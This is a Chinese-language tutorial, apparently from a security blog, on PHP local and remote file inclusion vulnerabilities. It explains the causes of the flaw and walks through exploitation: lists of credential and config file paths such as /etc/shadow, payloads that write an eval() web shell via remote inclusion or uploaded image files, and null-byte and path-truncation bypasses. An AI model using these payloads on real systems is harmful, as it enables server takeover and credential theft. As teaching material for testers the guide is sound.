文件包含漏洞

0x00 文件包含与文件包含漏洞

文件包含是指,服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行。文件包含还有另外一个名称,那就是代码重用。我们若是需要修改页面,只需要修改一个头部代码文件就可以了,其他上万个页面将会全部对应改变。

文件包含漏洞是指客户端(一般为浏览器)用户通过输入控制动念包含在版务器的文件,从而导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含LFI和远程文件包含RFI两种形式

0x01 文件包含函数

文件包含的函数:

1
2
3
4
5
6
7
vrequire()

require_once()

include()

include_once()

include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;require函数出现错误的时候,会直接报错并退出程序的执行。

而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

0x02 漏洞产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,用户可以操作一些敏感文件,文件泄露和恶意代码注入,可以被用户控制,包含其他恶意文件,执行非预期的代码
当包含文件在服务器本地上,就形成本地文件包含,当包含的文件在第三方服务器是,就形成可远程文件包含。
例子:

filename参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改filename的值,执行非预期的操作。

0x03 本地文件包含

本地文件包含LFI也即Local File Inclusion,其特性是可包含任意类型的文件,当被包含的文件书写符合php书写规范,即(<?php..…….代码.……?>或<?.…代码..?>)时,不论文件后缀是什么,都可以解析其中的php代码,当书写规范不符合时,则以文本形式输出。
测试:


执行结果:

0x04 远程文件包含

远程文件包含RFI也即Remote File Inclusion,其基本原理与本地文件包含LFI类似,区别只是被包含的文件由原来的本地文件路径变为远程文件路径。其特性是可包含任意类型的文件,并且如果被包含文件中有类似”<?php…(省略号为php代码)?>”或
“<?.…(省略号为php代码)?>”这2种形式的字符串,则在包含时会执行字符串中的PHP代码。
有两个关键函数:
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

前提:需要开启allow_url_fopen,默认关闭。
示例:include.php

新建file.txt

1
2
3
<?php
echo "hello,hacker";
?>

访问http://www.xxxx.com/include.php?file=http://www.xxxx.com/file.txt
执行结果将输出hello world。

0x05 文件包含利用

读取敏感信息

通过目录遍历可以获取到系统中其他文件的内容:

常见敏感信息路径

Windows系统
1
2
3
4
5
6
7
8
9
10
11
c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息
Linux/Unix系统
1
2
3
4
5
6
7
8
9
10
11
12
13
/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

session文件包含漏洞(待续)

利用条件:

session的存储位置可以获取。

  1. 通过phpinfo的信息可以获取到session的存储位置。

通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:

获取到session的存储位置

  1. 通过猜测默认的session存放位置进行尝试。

如linux下默认存储在/var/lib/php/session目录下:

默认存储

session中的内容可以被控制,传入恶意代码。

远程包含shell

新建file.txt保存在远程服务器上:

1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[key]);?>")?>

如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xx1.com/index.php?file=http://www.xx2.com/file.txt
会在服务器根目录下生产一个shell.php内容为:

1
<?php   eval($_POST[key]);?>

利用php协议进行包含

(参考《PHP伪协议》)
data:  php5.2以后版本
php://input  需要开启allow_url_include
例子:

1
http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

本地包含配合文件上传

如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传
上传一个图片木马file.jpg,内容为:

1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[key]);?>")?>

访问URL:http://www.xxx.com/index.php?file=./file.jpg
生成shell.php。

0x06 绕过方法

问号绕过

源码:

1
<?php include($_GET['filename'] . ".html"); ?>

代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。
绕过方式:在最后加?
payload:
http://www.xxx.com/index.php?filename=http://xxx2/file.txt?

井号绕过

http://www.xxx.com/index.php?filename=http://xxx2/file.txt%23

截断包含

源码:

1
2
3
<?php
Include $_GET['page'].".php"
?>

%00截断包含

新建file.jpg,写入内容:

1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[key]);?>")?>

  这样的话比如上传一个file.jpg图片马,则访问http://www.xxx.com/file.jpg
时,访问的是file.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问http://www.xxx.com/file.jpg%00

使用长目录截断

常用绕过方式:

1
2
3
4
5
././././././././././././././etc/passwd

////////////////////////////etc/passwd

../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。所以成功绕过

-------------本文结束感谢您的阅读-------------
/*
*/